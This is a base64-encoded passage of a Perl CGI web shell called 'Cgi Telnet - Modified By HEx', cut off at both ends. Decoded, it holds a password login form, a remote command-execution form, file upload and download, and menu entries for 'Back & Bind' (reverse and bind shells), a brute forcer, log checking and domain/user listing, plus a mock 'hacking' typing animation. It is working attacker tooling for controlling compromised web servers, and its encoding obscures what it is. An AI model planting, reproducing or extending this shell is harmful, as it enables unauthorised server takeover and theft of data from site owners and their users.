PSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0%2BIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc%2FYT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc%2BIiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ%2BDQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI%2BPGNvZGU%2BDQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ%2BPC9iPg0KCTwvdGQ%2BDQoNCgk8dGQ%2BDQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI%2BJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ%2BDQoJPC90ZD4NCgk8dGQ%2BU2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI%2BJEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI%2BDQo8dGQgY29sc3Bhbj0iMyI%2BPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI%2BDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E%2BIHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI%2BVXBsb2FkIEZpbGU8L2E%2BIHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI%2BRG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1iYWNrYmluZCI%2BQmFjayAmIEJpbmQ8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E%2BIHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24%2FYT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E%2BDQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU%2BDQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU%2BPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA%2FIDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA%2FIGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8Zm9udCBzdHlsZT0iZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OyI%2BQ2dpIFRlbG5ldCAtIE1vZGlmaWVkIEJ5IEhFeCA8L2ZvbnQ%2BPGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI%2BDQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ%2BPGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5%2BXCQ8L2ZvbnQ%2BIENvbm5lY3RlZCAhIDwvZm9udD48YnI%2BDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI%2BPGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ%2BIDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ%2BIFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ%2BXCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI%2BDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI%2BPGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ%2BIE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk%2BPC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1%2BIHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1%2BIHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic%2BIi4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI%2BDQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI%2BDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI%2BDQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI%2BDQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ%2Bby0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA%2BRWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ%2BPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw%2BIjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI%2BIjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA%2BICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIi